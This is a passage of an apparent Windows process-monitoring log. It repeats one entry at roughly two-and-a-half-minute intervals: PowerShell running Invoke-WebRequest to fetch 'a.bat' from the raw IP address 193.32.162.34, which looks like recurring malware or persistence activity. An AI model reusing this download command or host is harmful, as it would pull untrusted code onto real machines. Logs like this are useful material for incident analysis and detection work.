'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:03:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:06:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:08:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:11:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:16:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:18:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:21:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:23:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:26:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:28:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:31:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:33:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:36:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:38:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:41:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:46:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:48:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:51:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:53:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:56:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:58:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:01:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:03:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:06:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:08:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:11:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:13:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:16:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:18:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:21:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:23:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:26:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:28:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:31:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:33:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:36:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:38:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:41:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:43:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:46:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:48:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:51:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:53:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:56:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 02:58:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:01:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:03:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:06:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:08:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:11:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:13:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:16:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:18:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:21:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:23:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:26:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:28:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:31:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:33:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:36:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:38:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:41:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:43:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:46:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:48:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:51:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:53:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:56:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 03:58:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:01:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:03:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:06:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:08:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:11:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:13:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:16:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:18:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:21:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:23:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:26:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:28:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:31:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:33:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:36:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:38:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:41:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:43:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:46:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:48:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:51:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:53:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:56:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 04:58:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:01:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:03:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:06:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:08:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:11:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:13:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:16:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:18:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:21:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:23:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:26:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:28:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:31:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:36:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:38:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:41:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:43:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:46:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:48:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:51:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:56:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 05:58:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:01:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:03:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:06:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:08:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:11:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:13:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:16:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:18:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:21:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:23:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:26:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:28:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:31:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:33:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:36:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 06:38:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 